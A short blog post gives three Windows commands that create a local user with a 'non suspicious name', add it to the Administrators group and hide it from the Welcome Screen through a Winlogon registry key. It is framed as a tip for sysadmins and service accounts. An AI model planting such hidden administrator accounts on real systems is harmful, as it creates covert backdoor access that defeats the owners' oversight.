How to add a user in Windows CLI and hide it!

How to add a user in Windows CLI and hide it!

This can become a time saver for sysadmins and security professionals

We are assuming you have privileges on the machine to add users/groups. It’s real easy, just use the net command to add users and groups to the machine:

Create a user with a non suspicious name

  • net user HelpDeskSupport pass1234 /add

Add it to the local Administrators group

  • net localgroup Administrators HelpDeskSupport /add

After you do this if the computer is not part of a domain probably will have the Welcome Screen enabled and the user you just added will appear immediately in it. So …

Hide it from the Welcome Screen

reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList” /v HelpDeskSupport /t REG_DWORD /d 0 /f

This is not just an evil thing to do, if you have service accounts on the machine this way you can hide it from nosy users.

This will work with windows XP/2003/2008/Vista/7 (haven’t tried with Windows 8)

Hope this helps!

JQ

Leave a Reply

Your email address will not be published. Required fields are marked *

Time limit is exhausted. Please reload CAPTCHA.